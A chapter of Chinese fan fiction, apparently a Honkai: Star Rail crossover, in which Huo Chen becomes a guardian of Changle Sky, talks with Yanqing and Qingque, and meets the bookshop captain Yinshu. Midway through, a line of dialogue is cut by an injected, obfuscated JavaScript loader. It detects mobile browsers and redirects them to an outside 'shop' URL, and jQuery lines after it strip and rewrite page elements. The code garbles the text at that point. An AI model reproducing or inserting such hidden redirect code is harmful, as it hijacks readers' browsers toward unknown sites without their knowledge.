后续的解释交给了姗姗来迟的彦卿。
踏剑飞来的少年剑仙落到他面前,回手一掏,掏出四五张折叠凳:“抱歉,彦卿去忙别的了。”
火尘:完全不意外。
这个人来了之后,先是花半刻钟跟小鱼解释完并收获了“彦卿哥哥”的称呼;又跑到丹枢大人面前问什么检查报告,似乎没问到;再蹦去孩子堆里找白露大人;最后出门往他的方向走,边走边低头看玉兆,不知道是在给谁发消息。
火尘:……
他有点生气,有点无语,但不知道在生气无语什么。
彦卿收起玉兆,抬头正对他,笑。
笑笑笑,那么爱笑。
彦卿走过来,没事人一样坐他旁边,问:“可有收获?”
“有,”火尘知道是在问他蛋的事情,“守护甜心通常和主人很像,在紧急情况下诞生。”
可他的蛋只那一回发烫让他社死,此外便全无动静。
彦卿:“似乎是这样……”
自在:“不对吧,上次看到那个,就跟本人差别很大……”
“有例外也难免,毕竟心的问题,总结规律总是会很困难……”
彦卿撑着下巴思忖,抬眼时许是惊讶他无精打采的样子:“火尘,你怎么了?”
“……嗯。”
“我现在送你回去?还是说生病了在附近开点药……”
“我想回去。”
“好,我们这就回……”
“彦卿。”
“嗯?”
火尘看着原本为别的忙东忙西、又为他忙东忙西、现在被他一句话叫住的少年,一点气都生不出来了。
说到底,他本来就不知道自己在气什么。
因为不想出门却被带出来了?这个无所谓;因为等了大半天不见人影?他是来听白露讲概念的;因为还是不知道自己的蛋怎么开?他本来就不想开;因为……
彦卿被他叫住了,立在他面前神情疑惑,还在等他下文。
他突然很无力。
因为这个人从早忙到晚没休息过。
是正常人?
火尘抓抓头发,吸气像叹气:“不用送了。”
“里面不少人跟我一样住长乐天,我一会儿跟他们一道走就是。”
这种检查,通常由丹鼎司安排接送,多出一两个空位很平常。
小鱼出来了,仰头笑:“我知道,火尘哥哥要蹭星槎。”
他薅一把小孩头毛:“干什么,不让蹭啊。”
不少天缺者也检查完了,三三两两站在一起,听到这话传出几声善意的笑声。
“有位置吗?”以防万一还是问一遍。
听得好几声“有”,他回头继续说:“还有一件事。”
彦卿正探头看声源,听到这句就转回来:“什么?”
“白露大人说长乐天的守护者缺位,问我愿不愿意补上。”
彦卿睁大眼睛。
“我刚才说不想,现在想了,”火尘几下划进大群,找到上一位守护者的联系方式加上,抬头,“就是这样,彦卿大人。”
于是当天傍晚。
“就是这样。”
“原——来如此,欢迎欢迎,欢迎新同志!”
面前少女棕发绿瞳,左侧自发鬓梳出一根细细的麻花辫,和左边的低马尾编到一起,发绳上的青白色小雀团子像是能代表本人的吉祥物,看着年纪不大,很好说话。
最重要的是,她很眼熟。
“原来长乐天的退休守护者是你啊,”火尘懒懒往后一靠,“青雀。”
青雀也往后一靠,哈哈乐:“我也没想到,补位的会是你啊。”
火尘认识青雀,纯属孽缘,至少在青雀之前,他从没见过有人会拿别人的检查报告开药,开完药再去找领导开假条,还成功了的。
药留给他,青雀只要假期。这样的事情只消来上一两次,两人就差不多混熟了。
“你领导真看不出来吗?”
“我领导,”青雀转转眼珠子,“看出来了呀!但我一年才整这么两回,她人好,不跟我计较。”
火尘对此保持怀疑态度。
扯回今天的话题。
在短短几分钟内第五次有人路过跟青雀打招呼之后,他问:“长乐天的人你都认识?”
“怎么可能啊,”青雀翻翻自己提溜来的零食,扔给他一包瓜子,“知道长乐天多少人嘛。”
路人:“欸,青雀!”
“噢,小天老板,下班啦,一会儿老地方打牌啊。”
“行!”
火尘觉得自己这辈子都不可能做到青雀这样——虽说青雀似乎已经活了他一辈子的寿数了。
“你一个人都不认识也没关系,”青雀让他放宽心,“守护者嘛,就是打‘坏蛋’的,只关注蛋。”
“至于那些真坏蛋,我们这样普通的仙舟居民,撞上了只要报警就好啦。”
火尘突兀出声:“危险吗?”
“危险?怎么会,”青雀眨巴眼睛,“长乐天是居民区,那些坏蛋普遍不擅长攻击,黑化的理由倒是很多很杂。”
跟他想的一样。
“可彦卿说危险。”
青雀一下乐了:“小孩子。”
“天才少年嘛,我听过。少年不识人心呀。”
“打工人都知道,表现积极、做事认真还好哄的年轻人,都是要被当牛马使的。”
“他不拒绝,那自然什么高难度的任务都往他那里塞,怕是根本都不知道正常难度什么样。”
火尘不搭腔。他好像又不高兴了。
“来来,前辈带你见识见识,你大概就明白是怎么回事了。”
他跟上。
青雀似乎无论何时都步履轻盈,正常走路也像在小跳,背着手,嘴里哼着不成曲的调子。
火尘跟在后头走神,想起彦卿快走时常人难以跟上的速度,和彦卿对他的第一次回绝:
“你的蛋还没孵出来呢,万一抓捕时被坏蛋伤到了怎么办?”
“长乐天的守护者为数甚众,只是少一个人,还不至于紧急到这份上……”
是善意、担忧和保护欲。
但有时候,过度保护也可看作轻视。
他不愿意这样想彦卿,最后用从丹枢那里总结来的话劝服了对方:
“……并非没有愿望,而是根据经验判断做不到,就自己把愿望藏起来了。”
“说白了是信心问题,我觉得很有道理。”
什么时候有信心了,蛋自然就孵出来了;想要积攒信心,自然多做些事才好,再不济多见见守护蛋相关的事件也好。
彦卿依然不赞同,但没再拦着他,只说神策府就在长乐天,遇上事了可以去找他。
神策府,想也知道不是能随便出入的地方吧。
火尘叹气。
“到了。”青雀停下。
他跟着停,环顾四周,发现青雀也没带他去别的什么地方,只是转个弯又下几级阶梯,到了长乐天中央的广场。
青雀伸个懒腰,随便在路边石椅坐下,背靠一家小书屋,右边是地衡司公廨。
长乐天人来人往,远处建木静静矗立,从这里只能看见中央一截。
“看看,然后说你看到了什么。”
哦。
火尘也坐下——在偷懒这件事上,他和青雀可谓臭味相投。
不过看来看去都是不认识的脸,没什么要注……
“嗯?”
青雀顺着他视线看过去,毫不意外:“看到了吧。”
“嗯。”
一个小孩,嘴撅得可以挂油壶,站在墙角闷闷不乐,雪白的蛋悬浮在脑袋边。
隔得远,火尘眯起眼试图看清:“……有点黑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326777|199128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
青雀应:“嗯,二成黑吧。”
“不用管吗?”
“不用啊,指不定那小孩哭一场就好了,”青雀解释,“你多看看就知道了,正常守护蛋里,纯白居多,其次是黑白混杂,极少数情况下才会有完全黑化的蛋。”
“黑白混杂的大部分又可以自己恢复,所以虽然长乐天人口多,但单就我们这么些人也可以周转来。”
“懂了吧少年,”青雀老神在在,“不要小看普通人的自愈力啊。”
火尘:“算是不工作的正当理由?”
青雀摸后脑勺,脸上笑嘻嘻:“……不完全是,哈哈。”
他们又看了一会儿,守护蛋如彦卿所说,集中出现小孩和青少年身上;偶尔泛黑,却也如青雀所说没什么打紧——火尘眼见着刚才二成黑的蛋几分钟变回雪白,在小孩被找来的父母亲抱在怀里哄之后。
他只扫一眼,没再多看,扭头问青雀:“大概黑到一半以上就该管了?”
“唔,差不多?可以多关注着,万一黑了也能及时出手。”
“然后和你的守护甜心一起变身——抓住坏蛋交给队长——队长再拿去给龙女净化——”
青雀都说累了。
“最后再还回来?”
“不用还,净化好的蛋会自己飞回去,”青雀摆摆手,咂摸着,“唉,我可算是退休了。”口水都说干了。
“那还有太卜司?”
“守护者这边是突发事件太多,”青雀哼笑,“在太卜司我自然是摸鱼工作两不误,小看我了吧。”
青雀,每天都好快乐啊。
火尘心里感慨,不由想起白露说的退休理由:
她的守护甜心回去了,回她心里去了。
“白露大人说,你的蛋‘回去了’。”
“嗯!嗯……”青雀先应了一声,随后撑着下巴思考,“怎么跟你说呢……”
“并不是消失,而是‘回去’了,她还在,具体在哪里我也不清楚。”
“虽然没人陪着说话了有点寂寞,但我完全不难过!”
青雀笑嘻嘻:“因为她这样跟我说了——”
“青雀一定会过得很好,青雀现在就过得很好。”
火尘似懂非懂,青雀一拍他背,又翻起那个零食口袋:
“你不是蛋都还没孵出来嘛,想这些还太早啦。”
“鉴于你这个不稳定的情况,上面也给你配备了不少工具,总之都是抓坏蛋的。”
火尘看着青雀一把一把往外掏的工具,又看看那个小口袋:“……我还以为这是你上班带零食的袋子。”
青雀一顿,看看口袋,向他投来赞许的目光,做了个私吞的假动作:“真是个好主意。”
火尘:喂。
说说而已,青雀把工具掏出来给他看一遍又统统塞了回去,连同黑科技储物袋一起留给他。
“不过我平时用不到,就没怎么注意用法,你是工造司的吧,自己摸索下啦。”
行。火尘低头翻翻口袋。
“好!最后一步!”青雀抬手一指,“走走,带你去见现在的队长!”
火尘亦步亦趋跟着走,又是没两步就停了,抬头,牌匾上书“三余书肆”。
眼熟,好像是彦卿上次带他来看绘本那家。
小老板依然坐在高凳上,手撑着脸趴在柜台翻书看,似乎正看到精彩处,见有人来,只略一抬头又低下去:
“……这里是书店,要是想看书、选书,直接进店翻阅就好,要结账的时候再来叫我吧。”
青雀熟门熟路进书屋:“隐书队长,是我呀,给你带新人来了。”
隐书抬头。
火尘进来,正跟人对上眼。
“哦?”小女孩身形的老板恍然,“你是上次彦卿带来的那个……”
“是我,”他点头,跟着喊,“队长好。”